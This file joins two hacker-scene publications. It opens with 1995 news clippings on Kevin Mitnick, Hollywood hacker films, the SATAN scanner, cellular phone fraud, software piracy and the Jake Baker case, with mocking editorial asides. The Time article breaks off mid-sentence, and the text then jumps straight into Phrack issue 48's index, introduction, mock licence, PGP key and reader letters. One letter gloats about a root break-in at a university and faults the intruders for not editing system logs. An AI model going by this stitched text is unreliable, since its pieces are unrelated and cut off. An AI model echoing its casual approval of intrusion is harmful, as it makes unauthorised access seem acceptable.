Undetected Theft Of Credit‑Card Data Raises Concern About Online Security

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jared Sandberg (The Wall Street Journal)

[Just a sampling of the scores of Mitnick articles that inundated the news media within hours of his arrest in North Carolina. JUMP ON THE MITNICK BANDWAGON! GET THEM COLUMN INCHES! WOO WOO!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hollywood Gets Into Cyberspace With Geek Movies

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Therese Poletti (Reuters News Sources)

With dramatic tales like the capture last week of a shadowy computer hacker wanted around the world, Hollywood studios are scrambling to cash in on the growing interest in cyberspace.

"They are all looking at computer‑related movies because computers are hot," said Bishop Kheen, a Paul Kagan analyst. "They are all reviewing scripts or have budgets for them. "We are going to see a rash of these kinds of movies."

Experts say it remains to be seen what kind of box office draw can be expected from techie movies such as one that might be based on the hunt for Mitnick. But the recent surge of interest in the Internet, the high‑profile criminal cases, and romanticized images of hackers may fuel their popularity.

"I think it's a limited market, although given the media's insatiable appetite for Internet hype, these movies might do well," said Kevin Benjamin, analyst with Robertson Stephens.

TriStar Pictures and Columbia Pictures, both divisions of Sony Corp., are developing movies based on technology or computer crime, executives said.

TriStar is working on a movie called "Johnny Mnemonic," based on a science fiction story by William Gibson, about a futuristic high‑tech "data courier" with confidential information stored in a memory chip implanted in his head.

Sony also has plans for a CD‑ROM game tied to the movie, also called "Johnny Mnemonic," developed by Sony Imagesoft, a division of Sony Electronic Publishing.

Columbia Pictures has a movie in development called "The Net," starring Sandra Bullock, who played opposite Reeves in "Speed." Bullock plays a reclusive systems analyst who accidentally taps into a classified program and becomes involved in a murder plot. Sony Imagesoft has not yet decided whether it will develop a CD‑ROM game version of "The Net."

MGM/United Artists is said to be working on a movie called "Hackers," about a group of young computer buffs framed for a crime and trying to protect their innocence. An MGM/UA spokeswoman did not return calls seeking comment.

Disney is also said to be working on a movie called f2f, (face to face), about a serial killer who tracks his victims on an online service. Disney also did not return calls.

Bruce Fancher, once a member of the Legion of Doom hacker gang, worked as a consultant for "Hackers." He said, much to his dismay, hackers are becoming more popular and increasingly seen as romantic rebels against society.

"I've never met one that had political motivation. That is really something projected on them by the mainstream media," Fancher said.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Film, Multimedia Project In The Works On Hacker Kevin Mitnick Mar 8, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Greg Evans (Variety)

Miramax Films will produce a film and a multimedia project based on the hunt for accused cyber felon Kevin Mitnick, the computer criminal who captured the attention of the New York Times, the FBI and Hollywood.

Less than a month after Mitnick's capture made the front page of Feb. 16's Times, Miramax has purchased the worldwide film and interactive rights to the hacker's tale.

Rights were bought for an undisclosed amount from computer security expert Tsutomu Shimomura, who led the two‑year pursuit of Mitnick, and reporter John Markoff, who penned the Times' article.

Markoff will turn his article into a book, which will be developed into a script. "Catching Kevin: The Pursuit and Capture of America's Most Wanted Computer Criminal" will be published later this year by Miramax's sister company, Hyperion Books (both companies are owned by the Walt Disney Co.).

Miramax also plans to work with Shimomura to develop an interactive project, most likely a CD‑ROM, based on "Catching Kevin," according to Scott Greenstein, Miramax's senior VP of motion pictures, music, new media and publishing. He represented Miramax in the deal.

No director has been attached to the film project yet, although the company is expected to make "Kevin" a high priority.

The story attracted considerable studio attention. In a statement, Shimomura said he went with Miramax "based on their track record."

Shimomura and Markoff were repped by literary and software agent John Brockman and Creative Artists Agency's Dan Adler and Sally Willcox.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hack‑Happy Hollywood Mar 1995

~~~~~~~~~~~~~~~~~~~~

(AP News Sources)

Not since the heyday of Freddy Krueger and Jason Voorhees has hacking been so in demand in Hollywood.

Only this time, it's computer hackers, and the market is becoming glutted with projects. In fact, many studio buyers were reluctant to go after the screen rights to the story of computer expert Tsutomu Shimomura, who tracked down the notorious cyber‑felon Kevin Mitnick.

The rights were linked to a New York Times article by John Markoff, who's turning the story into a book.

But Miramax wasn't daunted by any competing projects, and snapped up the rights.

"We're talking about a ton of projects that all face the same dilemma: How many compelling ways can you shoot a person typing on a computer terminal?" said one buyer, who felt the swarm of projects in development could face meltdown if the first few films malfunction.

The first test will come late summer when United Artists opens "Hackers," the Iain Softley‑directed actioner about a gang of eggheads whose hacking makes them prime suspects in a criminal conspiracy.

Columbia is currently in production on "The Net," with Sandra Bullock as an agoraphobic computer expert who's placed in danger when she stumbles onto secret files.

Touchstone has "The Last Hacker," which is closest in spirit to the Miramax project. It's the story of hackmeister Kevin Lee Poulson, who faces a hundred years in prison for national security breaches and was so skilled he disabled the phones of KIIS‑FM to be the 102nd (and Porsche‑winning) caller. He was also accused of disabling the phones of "Unsolved Mysteries" when he was profiled.

Simpson/Bruckheimer is developing "f2f," about a serial killer who surfs the Internet for victims.

Numerous other projects are in various stages of development, including MGM's "The Undressing of Sophie Dean" and the Bregman/Baer project "Phreaking," about a pair of hackers framed for a series of homicidal computer stunts by a psychotic hacker.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Devil Of A Problem Mar 21, 1995

~~~~~~~~~~~~~~~~~~~~

by David Bank (Knight‑Ridder)

Satan is coming to the Internet and might create havoc for computer networks around the world.

The devilish software, due for release April 5, probes for hidden flaws in computer networks that make them vulnerable to intruders. The tool could be used by mischievous pranksters or serious espionage agents to attack and penetrate the computer networks of large corporations, small businesses or even military and government installations.

None of the potential problems has swayed the authors of the program, Dan Farmer, the "network security czar" of Silicon Graphics Inc. in Mountain View, California, and Wietse Venema, his Dutch collaborator.

"Unfortunately, this is going to cause some serious damage to some people," said Farmer, who demonstrated the software this month in his San Francisco apartment. "I'm certainly advocating responsible use, but I'm not so naive to think it won't be abused."

"It's an extremely dangerous tool," said Donn Parker, a veteran computer security consultant with SRI International in Menlo Park, California. "I think we're on the verge of seeing the Internet completely wrecked in a sea of information anarchy."

Parker advocates destroying every copy of Satan. "It shouldn't even be around on researcher's disks," he said.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Satan Claims Its First Victim Apr 7, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Dwight Silverman (Houston Chronicle)

The cold hand of Satan knocked on the electronic door of Phoenix Data Systems Wednesday night, forcing the Clear Lake‑based Internet access provider to temporarily shut down some computers.

"These guys can come in and literally take control, get super‑user status on our systems," said Bill Holbert, Phoenix's owner. "This is not your average piece of shareware."

The attack began about 9 p.m. Wednesday, he said. Technicians watched for a while and then turned off the machines at Phoenix that provide "shell" accounts, which allow direct access to a computer's operating system.

The system was back up Thursday afternoon after some security modifications, he said.

"It actually taught us a few things," Holbert said. "I've begun to believe that no computer network is secure."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fraud‑free Phones Feb 13, 1995

~~~~~~~~~~~~~~~~~

by Kirk Ladendorf (Austin American Statesman) p. D1

Texas Instruments' Austin‑based Telecom Systems business came up with an answer to cellular crime: a voice‑authorization service.

The technology, which TI showed off at the Wireless '95 Convention & Exposition in New Orleans this month, was adapted from a service devised for long‑distance telephone companies, including Sprint.

TI says its voice‑recognition systems can verify the identity of cellular phone users by reading and comparing their "voice prints," the unique sound patterns made by their speech.

The TI software uses a statistical technique called Hidden Markov Modeling that determines the best option within a range of choices as it interprets a voice sample.

If the verification is too strict, the system will reject bona fide users when their voice patterns vary too much from the computer's comparison sample. If the standard is too lenient, it might approve other users whose voice patterns are similar to that of the authentic user.

The system is not foolproof, TI officials said, but beating it requires far more time, effort, expense and electronics know‑how than most cellular pirates are willing to invest.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Nynex Recommends Cellular Phone Customers Use A Password Feb 9, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Aaron Zitner (The Boston Globe)

Nynex Corp. is asking cellular telephone customers to dial an extra four digits with each phone call in an attempt to foil thieves who steal an estimated $1.3 million in cellular phone services nationwide each day.

Nynex Mobile Communications Co., has been "strongly recommending" since November that all new customers adopt a four‑digit personal identification number, or PIN. This week, the company began asking all its customers to use a PIN.

The Cellular Telecommunications Industry Association estimates that "phone thieves" made $482 million in fraudulent calls last year, equal to 3.7 percent of the industry's total billings. Thieves can make calls and bill them to other people by obtaining the regular 10‑digit number assigned to a person's cellular phone, as well as a longer electronic serial number that is unique to each phone.

Thieves can snatch those numbers from the air using a specialized scanner, said James Gerace, a spokesman for Nynex Mobile Communications. Even when no calls are being made, cellular phones broadcast the two numbers every 30 seconds or so to notify the cellular system in case of incoming calls, he said.

When customers adopt a PIN, their phone cannot be billed for fraudulent calls unless the thieves also know the PIN, Gerace said. He said the phone broadcasts the PIN at a different frequency than the phone's electronic serial number, making it hard for thieves to steal both numbers with a scanner.

Gerace also noted that customers who become victims of fraud despite using a PIN can merely choose a new number. Victims who do not use a PIN must change their phone number, which requires a visit to a cellular phone store to have the phone reprogrammed, he said.

[ Uh, wait a second. Would you use touch‑tone to enter this PIN? Woah. Now that's secure. I've been decoding touch‑tone by ear since 1986. What a solution! Way to go NYNEX! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kemper National Insurance Offers PBX Fraud Feb 3, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Knight‑Ridder News Sources)

Kemper National Insurance Cos. now offers inland marine insurance coverage to protect Private Branch Exchange (PBX) systems against toll fraud.

"Traditional business equipment policies companies buy to protect their PBX telephone systems do not cover fraud," a Kemper spokesman said. The Kemper policy covers both the equipment and the calls made illegally through the equipment.

The coverage is for the PBX equipment, loss of business income from missed orders while the PBX system is down, and coverage against calls run up on an insured's phone systems. The toll fraud coverage is an option to the PBX package.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New Jersey Teen To Pay $25,000 To Microsoft, Novell Feb 6, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Wall Street Journal

Microsoft Corp. and Novell Inc. reached a court‑approved settlement with a New Jersey teenager they accused of operating a computer bulletin board that illegally distributed free copies of their copyrighted software programs.

Equipped with a court order, employees of the two companies and federal marshals raided the young man's house in August, seizing his computer equipment and shutting down an operation called the Deadbeat Bulletin Board. Under the settlement announced Friday, the teenager agreed to pay $25,000 to the companies and forfeit the seized computer equipment. In return, the companies agreed to drop a copyright infringement lawsuit brought against him in federal court in New Jersey, and keep his identity a secret.

Redmond‑based Microsoft and Novell, Provo, Utah, opted to take action against the New Jersey man under civil copyright infringement laws rather than pursue a criminal case. The teenager had been charging a fee to users of the Deadbeat Bulletin Board, which was one reason the companies sought a cash payment, a Novell spokesperson said. The two software producers previously settled a similar case in Minneapolis, when they also seized the operator's equipment and obtained an undisclosed cash payment.

"About 50 groups are out there engaging in piracy and hacking," said Edward Morin, manager of Novell's antipiracy program. He said they operate with monikers such as Dream Team and Pirates With Attitude.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Software Piracy Still A Big Problem In China Mar 6, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jeffrey Parker (Reuters News Sources)

Sales of pirated software have reached a fever pitch in Beijing in the week since U.S. and Chinese officials defused a trade war with a broad accord to crush such intellectual property violations.

In the teeming "hacker markets" of the Zhongguancun computer district near Beijing University, there were few signs of any clampdown Monday, the sixth day of a "special enforcement period" mandated by the Feb. 26 Sino‑U.S. pact.

"The police came and posted a sign at the door saying software piracy is illegal," said a man selling compact disk readers at bustling Zhongguancun Electronics World.

"But look around you. There's obviously a lot of profit in piracy," he said.

A score of the market's nearly 200 stalls openly sell compact disks loaded with illegal copies of market‑leading desktop software titles, mostly the works of U.S. firms.

Cloudy Sky Software Data Exchange Center offers a "super value" CD‑ROM for 188 yuan ($22) that brims with 650 megabytes of software from Microsoft, Lotus and other U.S. giants whose retail value is about $20,000, nearly 1,000 times higher.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Internet Story Causes Trouble Feb 7, 1995

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(AP News Sources)

The University of Michigan has refused to reinstate a sophomore suspended last week after he published on the Internet a graphic rape and torture fantasy about a fellow student.

The student's attorney told The Detroit News on Monday that the university is waiting until after a formal hearing to decide if the 20‑year‑old student is a danger to the community. A closed hearing before a university administrator is scheduled for Thursday.

"Our position is that this is a pure speech matter," said Ann Arbor attorney David Cahill. "He doesn't know the girl and has never approached her. He is not dangerous. ... He just went off half‑cocked."

The Jan. 9 story was titled with the female student's last name and detailed her torture, rape and murder while gagged and tied to a chair.

The student also may face federal charges, said FBI Special

Agent Gregory Stejskal in Ann Arbor. Congress recently added computer trafficking to anti‑pornography laws.

The student was suspended Thursday by a special emergency order from university President James J. Duderstadt. His identification card was seized and he was evicted from his university residence without a hearing.

University spokeswoman Lisa Baker declined to comment.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Snuff Porn On The Net Feb 12, 1995

~~~~~~~~~~~~~~~~~~~~~

by Philip Elmer‑Dewitt (Time)

Jake Baker doesn't look like the kind of guy who would tie a woman by her hair to a ceiling fan. The slight (5 ft. 6 in., 125 lbs.), quiet, bespectacled sophomore at the University of Michigan is described by classmates as gentle, conscientious and introverted.

But Baker has been doing a little creative writing lately, and his words have landed him in the middle of the latest Internet set‑to, one that pits a writer's First Amendment guarantees of free speech against a reader's right to privacy. Now Baker is facing expulsion and a possible sentence of five years on federal charges of sending threats over state lines.

It started in early December, when Baker composed three sexual fantasies and posted them on alt.sex.stories, a newsgroup on the Usenet computer network that is distributed via the Internet. Even by the standards of alt.sex.stories, which is infamous for explicit depictions of all sorts of sex acts, Baker's material is strong stuff. Women (and young girls) in his stories are kidnapped, sodomized, mutilated and left to die by men who exhibit no remorse. Baker even seemed to take pleasure in the behavior of his protagonists and the suffering of their victims.

The story that got Baker in trouble featured, in addition to the ceiling fan, acts performed with superglue, a steel‑wire whisk, a metal clamp, a spreader bar, a hot curling iron and, finally, a match. Ordinarily, the story might never have drawn attention outside the voyeuristic world of Usenet sex groups, but Baker gave his fictional victim the name of a real female student in one of his classes.

Democratic Senator James Exon of Nebraska introduced legislation earlier this month calling for two‑year prison terms for anyone who sends, or knowingly makes available, obscene material over an electronic medium. "I want to keep the information superhighway from resembling a red‑light

48

- Introduction by Phrack Staff

- Phrack Loopback / Editorial by Phrack Staff

- Line Noise (Part I) by various

- Line Noise (Part II) by various

- Phrack Pro-Philes on the New Editors by Phrack Staff

- Motorola Command Mode Information by Cherokee

- Tandy / Radio Shack Cellular Phones by Damien Thorn

- The Craft Access Terminal by Boss Hogg

- Information About NT's FMT-150/B/C/D by StaTiC

- Electronic Telephone Cards (Part I) by unknown

- Electronic Telephone Cards (Part II) by unknown

- Keytrap Revisited by Sendai

- Project Neptune by daemon9

- IP-Spoofing Demystified by daemon9

- Netmon by daemon9

- The Truth...and Nothing but the Truth by Steve Fleming

- International Scenes by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 1 of 18

Issue 48 Index

__________

P H R A C K 4 8

September 1, 1996

__________

~ WARNING! This is a TOP SECRET‑MAGIC EYES ONLY document containing compartmenalized information essential to the national security of the United States. EYES ONLY ACCESS to the material herein is strictly limited to personnel possessing MAGIC‑12 CLEARANCE LEVEL. Examination or use by unauthorized personnel is strictly forbidden and is punishable by federal law. ~

Yes, it's the annual issue of Phrack you've all been waiting for, hopefully you have kept your security clearances current. The delay has been a long one, much longer than anyone would have liked. Obviously Phrack was never meant to be put out so infrequently, but the continual pressures of daily life have taken their toll on yet another editor. Yes, those little things like going to work, paying the rent and all the other hassles that interfere with putting out a large quarterly hobbbyist publication.

It finally came down to three choices: keep the status quo and put out an issue whenever, charge per issue, or get in some new blood. Obviously the status quo sucked, and an issue a year was just unacceptable. Charging everyone was even more unacceptable, even though "Information wants to be $4.95." So, that left bringing in more people to help.

The hard thing was finding people worth bringing into the fold. There was never any shortage of people who wanted to take over the whole magazine, but it wasn't until three of them banded together and volunteered to take over the main editorial nightmare that it looked like there was a light at the end of the tunnel. Voyager, maintainer of the #hack FAQ and editor of CoTNO, RedDragon editor of FeH and continual discoverer of Linux root bugs, and Daemon9 admin of InfoNexus and text file author extraordinaire, came forward en masse and said, "We'll do it."

Most of you have no idea how hard it is to put out a magazine like Phrack with any degree of regularity. You have to track down articles, answer tons of mail, read all kinds of news, edit the articles (most of which were written with English as a second languge,) maintain the mailing list, maintain the WWW site, etc. Hopefully with all the new people involved, the new division of labor will allow everyone to contribute and put out a magazine in a very timely fashion. (And allow poor old Erikb to rest easy knowing the magazine is being taken care of so he can devote more time to being a puppet‑like stooge of The Man.)

In any case, you've waited long enough...here's Issue 48.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi‑user licenses will be negotiated on a site‑by‑site basis.

Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine

free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications

as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editors : Voyager, ReDragon, Daemon9 Mailboy : Erik Bloodaxe

3L33t : Mudge (See Below) Short : Security Dynamics (NSDQ:SDTI) (See Above) Myers‑Briggs : ENTJ

News : Datastream Cowboy

Prison Consultants : Co / Dec, Tcon

Sick Sexy Horror Chick : Poppy Z. Brite

Thanks To : Cherokee, Damien Thorn, Boss Hogg, StaTiC, Sendai, Steve Fleming, The Guild Obi‑1, Kwoody, Leper Messiah, Ace SevenUp, Logik Bomb, Wile Coyote Special Thanks To : Everyone for being patient

Phrack Magazine V. 7, #48, September 1, 1996. ISSN 1068‑1035 Contents Copyright (C) 1996 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.com and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.fc.net (Phrack FTP Site) /pub/phrack

http://www.fc.net/phrack (Phrack WWW Home Page)

phrack@well.com (Phrack E‑mail Address) or phrackmag on America Online

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **

Phrack goes out plaintext...you certainly can subscribe in plaintext.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 48 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by the Editorial Staff 13 K

2. Phrack Loopback / Editorial 55 K

3. Line Noise (Part I) 63 K

4. Line Noise (Part II) 51 K

5. Phrack Pro‑Philes on the New Editors 23 K 6. Motorola Command Mode Information by Cherokee 38 K 7. Tandy / Radio Shack Cellular Phones by Damien Thorn 43 K 8. The Craft Access Terminal by Boss Hogg 36 K 9. Information About NT's FMT‑150/B/C/D by StaTiC 22 K 10. Electronic Telephone Cards (Part I) 39 K 11. Electronic Telephone Cards (Part II) 66 K

12. Keytrap Revisited by Sendai 13 K

13. Project Neptune by Daemon9 52 K

14. IP‑Spoofing Demystified by Daemon9 25 K

15. Netmon by Daemon9 21 K

16. The Truth...and Nothing but the Truth by Steve Fleming 19 K 17. International Scenes by Various Sources 33 K 18. Phrack World News by Datastream Cowboy 21 K

Total: 633 K

________________________________________

"The culture of criminal hackers seems to glorify behavior which would be classified as sociopathic or frankly psychotic."

(Mich Kabay, director of education, NCSA, NCSA News, June 1996)

"The Greek word 'diarrhein,' which means 'to flow through,' describes diarrhea very well."

(Gross‑ology by Sylvia Branzei, Planet Dexter, 1996)

"Fuck you, clown!"

Phrack Loopback / Editorial

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 2 of 18

Phrack Loopback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is a response to the letter from KoV included in "Line Noise Part I" from Phrack #47. After reading this open letter, I nearly died of laughter. The inaccuracies of KoV's story were numerous and comical. However, from the way KoV presented themselves, they are acting as if it was their BBS network and a government conspiracy that has gotten them into trouble. As a result, they will appear to many as a wrongfully persecuted group of computer users.

Apparently, KoV likes to fancy themselves as a group that spread "open‑minded" and "sociopolitical" beliefs through their BBS network, KoVNet. They claim that they "questioned [the] authority" of those who "tried to oppress [their] free‑thinking minds." They then state that this caused the "AmeriKKKan" government to monitor their actions, "stalk [them] in public places", and and attempt to destroy them "from the moment of KoV's conception."

This is ridiculous. First off, their BBS network was not enough to cause the government to stalk them in public. If a BBS network that contains disdain for the American government justifies the stalking of its users, then NUMEROUS people in this country are currently being followed in public. Therefore, KoV's claim about their threatening BBS network is an attempt to make

themselves look bigger and more important than they were.

Now, let us look at the real reason they are facing legal actions. KoV is blaming "false accusations from a local university" for their troubles. However, the accusations are not false and after you read what led them to be caught, you will reallize that KoV was never a threat to the government.

I do not know exactly how many universities they hacked. However, if it is one local university as they claim, it is Skidmore in Saratoga Springs NY, the university which I attend. I myself have played around with Skidmore's computers and do not feel any loyalty or patriotism to my school. Therefore, it is not a grudge I am harboring against KoV for hacking Skidmore's system that is causing me to write this. It is merely the fact that KoV is distorting the truth in an attempt to turn themselves into martyrs.

Personally, I cannot blame anyone for breaking into Skidmore's system. Since Skidmore was relatively new to the Internet, their security was very lax making it very easy to explore and play around with the system. If KoV had any knowledge whatsoever, they would not have been caught or even detected by Skidmore. It was their egos and lack of knowledge that led to their investigation. I myself saw with my own eyes how they were detected.

The system that was hacked by KoV was wopr.skidmore.edu. Well, one day I took a look at the system logs for WOPR and saw "root login from [some out of domain ip address]" standing out quite well. If KoV was really so Knowledgable and dangerous, wouldn't they know how to edit system logs? However, they did not which shows KoV is another example of people who managed to obtain root access and did not know what to do with it.

Some people would think, "Big deal! Just because they didn't edit the system logs does not mean that they could ever be linked to the crime." This is very true. However, this would have required KoV to keep their mouths shut about the incident. Yet, they did not. Apparently, Lord Valgamon made a post to some of the BBS networks he frequented where he showed off about hacking Skidmore and told everyone how he did it.

This hurt KoV greatly. As a result, a narc on the BBS network alerted CERT about Lord Valgamon's claims who, in turn, reported the incident to Skidmore. This caused Skidmore to now have a name, though anonymous, to apply to the break in. Consequently, the proper authorities became involved and they began to track down Lord Valgamon on the BBS networks.

From the above facts, you can probably guess that the "AmeriKKKan" government would never have a special interest in KoV because they are the typical stereotype of an "ELiTE M0DeM d00d." If Lord Valgamon and KoV had kept their mouths shut about the incident, they never would have been caught. However, KoV needed to tell their ELiTE BBS scene how bad‑ass they were and, as a result, their bad‑asses are getting spanked hard.

KoV had not done any crime or brought up any controversy against the government. Their only crime was that they were stupid. I understand that KoV is now asking for the support of the h/p and political groups in the scene. However, I would not recomend anyone to give them support. There was no government conspiracy against KoV and everything that has happened to them was brought on by their own stupidity. Do not turn a bunch of egotistical and immature criminals into martyrs. I will end this with the same words KoV started their letter with: "Don't believe the hype." ‑ Public Enemy.

Sincerely,

Mr. Sandman

[ Wow. Well, we always like to hear all sides to any story, and each time something gets published that gets under someone else's skin, we inevitably do. Thanks for writing! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello!

Let me tell some words about myself. Computers and telecommunications take quite important place in my life. In past I worked as a programmer, system administrator and finally I ran my own business selling computer hardware (now I have closed this business because I have lost my interest for trade and due to some financial reasons). I owned my own BBS for several years but now I have it shut down because I do not want support lamers leeching files 2‑3 years old and having no ideas what email is. Now almost every day I spent many hours reading Internet newsgroups, mainly dedicated to phreaking/hacking.

A friend of mine, gave me some Phrack issues (newest was #42 of 1993). I have read them and like them very much.

If it is possible, please drop me a line how could I subscribe to Phrack magazine. If you do, please encrypt your reply and send it via anonymous remailer, because now Russian government begun to control email messages very thoroughtly.

I have private information from friend Internet provider about the FAPSI (Federal Agency of Government Communications and Information ‑‑ some form of Russian NSA/FCC hybrid formed from ex‑KGB agents) actions aimed to control data passed through Internet channels in Russia. FAPSI ordered all Internet providers in St.Petersburg to install software which task will be to copy all messages addressed to/from persons which FAPSI interested in and to scan for some keywords specified by FAPSI.

